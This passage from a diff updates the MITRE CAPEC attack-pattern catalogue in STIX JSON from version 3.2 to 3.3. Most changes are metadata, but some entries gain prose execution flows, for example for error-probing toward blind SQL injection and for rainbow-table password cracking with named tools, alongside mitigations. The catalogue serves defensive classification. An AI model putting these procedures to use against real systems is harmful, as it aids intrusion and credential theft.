", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--ca626464-877a-4f42-83b7-7451cfe71a38" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--bfb711d6-f12d-496e-88b9-2c0184485976", "name": "ASIC With Malicious Functionality", "description": "An attacker with access to the development environment process of an application-specific integrated circuit (ASIC) for a victim system being developed or maintained after initial deployment can insert malicious functionality into the system for the purpose of disruption or further compromise.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -32195,11 +34431,11 @@ "A hardware manufacturer periodically updates its ASIC with new features. The attacker, knowing the manufacturer runs email on a system adjacent to the hardware development systems used for ASIC design, sends a phishing email with a malicious attachment to the manufacturer. When viewed, the malicious attachment installs a backdoor that allows the attacker to remotely compromise the adjacent ASIC development system. The attacker is then able to exfiltrate and alter sensitive data on the ASIC system, allowing for future compromise once a new AISC is deployed at the victim location." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--bfb711d6-f12d-496e-88b9-2c0184485976" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--49132d37-44e8-458c-a06e-0e5b9ac9bbd6", "name": "Query System for Information", "description": "An adversary, aware of an application's location (and possibly authorized to use the application), probes an application's structure and evaluates its robustness by submitting requests and examining responses. Often, this is accomplished by sending variants of expected queries in the hope that these modified queries might return information beyond what the expected set of queries would provide.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -32241,12 +34477,13 @@ "Blind SQL injection is an example of this technique, applied to successful exploit. See also: CVE-2006-4705", "\n Attacker sends bad data at various servlets in a J2EE system, records returned exception stack traces, and maps application functionality.\n In addition, this technique allows attackers to correlate those servlets used with the underlying open source packages (and potentially version numbers) that provide them.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine user-controllable parameters of the application

Exploit

  1. Inject each parameter with content that causes an error condition to manifest

  2. Modify the content of each parameter according to observed error conditions

  3. Repeat above steps with enough parameters until the application has been sufficiently mapped out to launch desired attack (for example, Blind SQL Injection)

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--49132d37-44e8-458c-a06e-0e5b9ac9bbd6" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--031e02fe-84e7-4908-b507-e836876da1ab", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -32255,23 +34492,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Application designers can construct a 'code book' for error messages. When using a code book, application error messages aren't generated in string or stack trace form, but are cataloged and replaced with a unique (often integer-based) value 'coding' for the error. Such a technique will require helpdesk and hosting personnel to use a 'code book' or similar mapping to decode application errors/logs in order to respond to them normally.", - "type": "course-of-action", - "id": "course-of-action--031e02fe-84e7-4908-b507-e836876da1ab" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--04308827-581a-464a-8378-efed9a9a7476", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--04308827-581a-464a-8378-efed9a9a7476", "source_ref": "course-of-action--031e02fe-84e7-4908-b507-e836876da1ab", "relationship_type": "mitigates", "target_ref": "attack-pattern--49132d37-44e8-458c-a06e-0e5b9ac9bbd6" }, { + "id": "course-of-action--c001766e-e441-4291-8f06-f59957360fde", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -32280,23 +34519,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Application designers can wrap application functionality (preferably through the underlying framework) in an output encoding scheme that obscures or cleanses error messages to prevent such attacks. Such a technique is often used in conjunction with the above 'code book' suggestion.", - "type": "course-of-action", - "id": "course-of-action--c001766e-e441-4291-8f06-f59957360fde" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--60cbe06e-8a08-42af-a4ab-f81130b139ce", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--60cbe06e-8a08-42af-a4ab-f81130b139ce", "source_ref": "course-of-action--c001766e-e441-4291-8f06-f59957360fde", "relationship_type": "mitigates", "target_ref": "attack-pattern--49132d37-44e8-458c-a06e-0e5b9ac9bbd6" }, { + "id": "attack-pattern--40eddae8-4d7d-4fc3-b220-1c9706f01a96", "name": "Overread Buffers", "description": "An adversary attacks a target by providing input that causes an application to read beyond the boundary of a defined buffer. This typically occurs when a value influencing where to start or stop reading is set to reflect positions outside of the valid memory location of the buffer. This type of attack may result in exposure of sensitive information, a system crash, or arbitrary code execution.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -32332,11 +34573,11 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--40eddae8-4d7d-4fc3-b220-1c9706f01a96" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--e7eec058-4cd9-4fa0-8784-ed961d8d7290", "name": "Application Fingerprinting", "description": "An adversary engages in fingerprinting activities to determine the type or version of an application installed on a remote target.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -32358,11 +34599,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--e7eec058-4cd9-4fa0-8784-ed961d8d7290" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--482cb9fc-0122-49f0-b6df-6d2d42098b0a", "name": "Targeted Malware", "description": "An adversary develops targeted malware that takes advantage of a known vulnerability in an organizational information technology environment. The malware crafted for these attacks is based specifically on information gathered about the technology environment. Successfully executing the malware enables an adversary to achieve a wide variety of negative technical impacts.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -32370,7 +34611,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -32380,11 +34621,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--482cb9fc-0122-49f0-b6df-6d2d42098b0a" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--0d249bf9-13b3-4c13-9423-bcb1ea73c067", "name": "Counterfeit Websites", "description": "Adversary creates duplicates of legitimate websites. When users visit a counterfeit site, the site can gather information or upload malware.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -32406,11 +34647,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--0d249bf9-13b3-4c13-9423-bcb1ea73c067" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--996aa0f7-950e-4435-a60d-ae859e545101", "name": "Counterfeit Organizations", "description": "An adversary creates a false front organizations with the appearance of a legitimate supplier in the critical life cycle path that then injects corrupted/malicious information system components into the organizational supply chain.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -32432,11 +34673,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--996aa0f7-950e-4435-a60d-ae859e545101" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--191fbdab-d3b3-4ffd-8829-51331c20eaa7", "name": "Pull Data from System Resources", "description": "An adversary who is authorized or has the ability to search known system resources, does so with the intention of gathering useful information. System resources include files, memory, and other aspects of the target system. In this pattern of attack, the adversary does not necessarily know what they are going to find when they start pulling data. This is different than CAPEC-150 where the adversary knows what they are looking for due to the common location.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -32444,21 +34685,57 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/545.html", "external_id": "CAPEC-545" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1239.html", + "external_id": "CWE-1239" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1243.html", + "external_id": "CWE-1243" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1258.html", + "external_id": "CWE-1258" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1266.html", + "external_id": "CWE-1266" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1272.html", + "external_id": "CWE-1272" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1278.html", + "external_id": "CWE-1278" + }, + { + "source_name": "ATTACK", + "description": "Credentials from Password Stores:Keychain", + "url": "https://attack.mitre.org/wiki/Technique/T1555/001", + "external_id": "T1555.001" } ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--191fbdab-d3b3-4ffd-8829-51331c20eaa7" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--ed3de4d7-a053-42e4-9f3d-3a6293034e96", "name": "Probe Application Memory", "description": "An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -32466,7 +34743,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -32478,6 +34755,16 @@ "url": "http://cwe.mitre.org/data/definitions/284.html", "external_id": "CWE-284" }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1266.html", + "external_id": "CWE-1266" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1272.html", + "external_id": "CWE-1272" + }, { "source_name": "reference_from_CAPEC", "description": "Kopo M. Ramokapane, Awais Rashid, Jose M. Such, Assured Deletion in the Cloud: Requirements, Challenges and Future Directions, Association for Computing Machinery (ACM), Proceedings of the 2016 ACM on Cloud Computing Security Workshop", @@ -32500,61 +34787,65 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--ed3de4d7-a053-42e4-9f3d-3a6293034e96" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--65cd08b2-0269-4a7f-bdf4-e03d2d8374a3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-546-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Cloud providers should completely delete data to render it irrecoverable and inaccessible from any layer and component of infrastructure resources.", - "type": "course-of-action", - "id": "course-of-action--65cd08b2-0269-4a7f-bdf4-e03d2d8374a3" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--e1ffd89f-d766-48a7-b7d3-8d46fe11517b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--e1ffd89f-d766-48a7-b7d3-8d46fe11517b", "source_ref": "course-of-action--65cd08b2-0269-4a7f-bdf4-e03d2d8374a3", "relationship_type": "mitigates", "target_ref": "attack-pattern--ed3de4d7-a053-42e4-9f3d-3a6293034e96" }, { + "id": "course-of-action--47ef1ed0-a199-4d71-86a7-db3c41ded30d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-546-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Deletion of data should be completed promptly when requested.", - "type": "course-of-action", - "id": "course-of-action--47ef1ed0-a199-4d71-86a7-db3c41ded30d" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--fd548983-e701-4e46-9b7c-cfc9318fd925", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--fd548983-e701-4e46-9b7c-cfc9318fd925", "source_ref": "course-of-action--47ef1ed0-a199-4d71-86a7-db3c41ded30d", "relationship_type": "mitigates", "target_ref": "attack-pattern--ed3de4d7-a053-42e4-9f3d-3a6293034e96" }, { + "id": "attack-pattern--475af086-5223-4210-910a-5217445c0c23", "name": "Physical Destruction of Device or Component", "description": "An adversary conducts a physical attack a device or component, destroying it such that it no longer functions as intended.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -32572,11 +34863,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--475af086-5223-4210-910a-5217445c0c23" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--61546d1a-d720-4609-89ca-12039268d502", "name": "Contaminate Resource", "description": "An adversary contaminates organizational information systems (including devices and networks) by causing them to handle information of a classification/sensitivity for which they have not been authorized. The information is exposed to individuals who are not authorized access to such information, and the information system, device, or network is unavailable while the spill is investigated and mitigated.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -32594,11 +34885,11 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--61546d1a-d720-4609-89ca-12039268d502" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--2c74d7f3-ccb4-4aea-b7fc-8a4da900ec80", "name": "Local Execution of Code", "description": "An adversary installs and executes malicious code on the target system in an effort to achieve a negative technical impact. Examples include rootkits, ransomware, spyware, adware, and others.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -32643,11 +34934,11 @@ }, "x_capec_abstraction": "Meta", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--2c74d7f3-ccb4-4aea-b7fc-8a4da900ec80" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--48d83564-0b90-4cb8-8edc-629d4918b8d3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -32656,23 +34947,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Employ robust cybersecurity training for all employees.", - "type": "course-of-action", - "id": "course-of-action--48d83564-0b90-4cb8-8edc-629d4918b8d3" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--3ad56f58-fb37-408f-8a1b-2e3dfa28a602", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--3ad56f58-fb37-408f-8a1b-2e3dfa28a602", "source_ref": "course-of-action--48d83564-0b90-4cb8-8edc-629d4918b8d3", "relationship_type": "mitigates", "target_ref": "attack-pattern--2c74d7f3-ccb4-4aea-b7fc-8a4da900ec80" }, { + "id": "course-of-action--bf8bf5fa-93a1-46a0-8d7c-6889986d5167", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -32681,23 +34974,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implement system antivirus software that scans all attachments before opening them.", - "type": "course-of-action", - "id": "course-of-action--bf8bf5fa-93a1-46a0-8d7c-6889986d5167" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--3b1a3ebf-0fe8-4635-a763-7180f98545ce", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--3b1a3ebf-0fe8-4635-a763-7180f98545ce", "source_ref": "course-of-action--bf8bf5fa-93a1-46a0-8d7c-6889986d5167", "relationship_type": "mitigates", "target_ref": "attack-pattern--2c74d7f3-ccb4-4aea-b7fc-8a4da900ec80" }, { + "id": "course-of-action--6637d129-28e5-4beb-9e50-e0127d76b7ec", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -32706,23 +35001,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Regularly patch all software.", - "type": "course-of-action", - "id": "course-of-action--6637d129-28e5-4beb-9e50-e0127d76b7ec" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--281bf316-0912-4859-9ffe-bb8474a7bad4", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--281bf316-0912-4859-9ffe-bb8474a7bad4", "source_ref": "course-of-action--6637d129-28e5-4beb-9e50-e0127d76b7ec", "relationship_type": "mitigates", "target_ref": "attack-pattern--2c74d7f3-ccb4-4aea-b7fc-8a4da900ec80" }, { + "id": "course-of-action--d0e49c00-06b2-426e-a1dc-9aaeb4cafb97", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -32731,31 +35028,33 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Execute all suspicious files in a sandbox environment.", - "type": "course-of-action", - "id": "course-of-action--d0e49c00-06b2-426e-a1dc-9aaeb4cafb97" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--05a27f3b-76b2-4510-9609-7f3d05b0d792", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--05a27f3b-76b2-4510-9609-7f3d05b0d792", "source_ref": "course-of-action--d0e49c00-06b2-426e-a1dc-9aaeb4cafb97", "relationship_type": "mitigates", "target_ref": "attack-pattern--2c74d7f3-ccb4-4aea-b7fc-8a4da900ec80" }, { + "id": "attack-pattern--a390cb72-b4de-4750-ae05-be556c89f4be", "name": "Rainbow Table Password Cracking", - "description": "An attacker gets access to the database table where hashes of passwords are stored. He then uses a rainbow table of pre-computed hash chains to attempt to look up the original password. Once the original password corresponding to the hash is obtained, the attacker uses the original password to gain access to the system. A password rainbow table stores hash chains for various passwords. A password chain is computed, starting from the original password, P, via a reduce(compression) function R and a hash function H. A recurrence relation exists where Xi+1 = R(H(Xi)), X0 = P. Then the hash chain of length n for the original password P can be formed: X1, X2, X3, ... , Xn-2, Xn-1, Xn, H(Xn). P and H(Xn) are then stored together in the rainbow table. Constructing the rainbow tables takes a very long time and is computationally expensive. A separate table needs to be constructed for the various hash algorithms (e.g. SHA1, MD5, etc.). However, once a rainbow table is computed, it can be very effective in cracking the passwords that have been hashed without the use of salt.", + "description": "An attacker gets access to the database table where hashes of passwords are stored. They then use a rainbow table of pre-computed hash chains to attempt to look up the original password. Once the original password corresponding to the hash is obtained, the attacker uses the original password to gain access to the system. A password rainbow table stores hash chains for various passwords. A password chain is computed, starting from the original password, P, via a reduce(compression) function R and a hash function H. A recurrence relation exists where Xi+1 = R(H(Xi)), X0 = P. Then the hash chain of length n for the original password P can be formed: X1, X2, X3, ... , Xn-2, Xn-1, Xn, H(Xn). P and H(Xn) are then stored together in the rainbow table. Constructing the rainbow tables takes a very long time and is computationally expensive. A separate table needs to be constructed for the various hash algorithms (e.g. SHA1, MD5, etc.). However, once a rainbow table is computed, it can be very effective in cracking the passwords that have been hashed without the use of salt.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -32784,8 +35083,8 @@ }, { "source_name": "cwe", - "url": "http://cwe.mitre.org/data/definitions/693.html", - "external_id": "CWE-693" + "url": "http://cwe.mitre.org/data/definitions/654.html", + "external_id": "CWE-654" }, { "source_name": "cwe", @@ -32796,6 +35095,22 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/916.html", "external_id": "CWE-916" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/309.html", + "external_id": "CWE-309" + }, + { + "source_name": "ATTACK", + "description": "Brute Force:Password Cracking", + "url": "https://attack.mitre.org/wiki/Technique/T1110/002", + "external_id": "T1110.002" } ], "x_capec_likelihood_of_attack": "Medium", @@ -32826,37 +35141,40 @@ "x_capec_example_instances": [ "BusyBox 1.1.1 does not use a salt when generating passwords, which makes it easier for local users to guess passwords from a stolen password file using techniques such as rainbow tables. See also: CVE-2006-1058" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine application's/system's password policy: Determine the password policies of the target application/system.

    2. Techniques
    Determine minimum and maximum allowed password lengths.
    Determine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc.).
    Determine account lockout policy (a strict account lockout policy will prevent brute force attacks).

  2. Obtain password hashes: An attacker gets access to the database table storing hashes of passwords or potentially just discovers a hash of an individual password.

    3. Techniques
    Obtain copy of database table or flat file containing password hashes (by breaking access controls, using SQL Injection, etc.)
    Obtain password hashes from platform-specific storage locations (e.g. Windows registry)
    Sniff network packets containing password hashes.

Exploit

  1. Run rainbow table-based password cracking tool: An attacker finds or writes a password cracking tool that uses a previously computed rainbow table for the right hashing algorithm. It helps if the attacker knows what hashing algorithm was used by the password system.

    2. Techniques
    Run rainbow table-based password cracking tool such as Ophcrack or RainbowCrack. Reduction function must depend on application's/system's password policy.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--a390cb72-b4de-4750-ae05-be556c89f4be" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--54756aa7-5cd0-4c09-90b0-4bcb64715e00", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-55-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Use salt when computing password hashes. That is, concatenate the salt (random bits) with the original password prior to hashing it.", - "type": "course-of-action", - "id": "course-of-action--54756aa7-5cd0-4c09-90b0-4bcb64715e00" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--59fee1cf-5b04-404d-9ef4-ed4d63ce8317", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--59fee1cf-5b04-404d-9ef4-ed4d63ce8317", "source_ref": "course-of-action--54756aa7-5cd0-4c09-90b0-4bcb64715e00", "relationship_type": "mitigates", "target_ref": "attack-pattern--a390cb72-b4de-4750-ae05-be556c89f4be" }, { + "id": "attack-pattern--aef8e9e0-4714-4890-9470-06276c61abfd", "name": "Install New Service", "description": "When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -32864,7 +35182,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -32875,40 +35193,72 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/284.html", "external_id": "CWE-284" + }, + { + "source_name": "ATTACK", + "description": "Create or Modify System Process:Systemd Service", + "url": "https://attack.mitre.org/wiki/Technique/T1543/002", + "external_id": "T1543.002" + }, + { + "source_name": "ATTACK", + "description": "Create or Modify System Process:Windows Service", + "url": "https://attack.mitre.org/wiki/Technique/T1543/003", + "external_id": "T1543.003" + }, + { + "source_name": "ATTACK", + "description": "Create or Modify System Process:Launch Daemon", + "url": "https://attack.mitre.org/wiki/Technique/T1543/004", + "external_id": "T1543.004" + }, + { + "source_name": "ATTACK", + "description": "System Services:Launchctl", + "url": "https://attack.mitre.org/wiki/Technique/T1569/001", + "external_id": "T1569.001" + }, + { + "source_name": "ATTACK", + "description": "System Services:Service Execution", + "url": "https://attack.mitre.org/wiki/Technique/T1569/002", + "external_id": "T1569.002" } ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--aef8e9e0-4714-4890-9470-06276c61abfd" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--ed7ccb18-f2f9-4895-b561-75c72e739be9", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-550-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Limit privileges of user accounts so new service creation can only be performed by authorized administrators.", - "type": "course-of-action", - "id": "course-of-action--ed7ccb18-f2f9-4895-b561-75c72e739be9" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--f2eb507a-dfa5-4dd3-8046-bcd8964aa9ec", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--f2eb507a-dfa5-4dd3-8046-bcd8964aa9ec", "source_ref": "course-of-action--ed7ccb18-f2f9-4895-b561-75c72e739be9", "relationship_type": "mitigates", "target_ref": 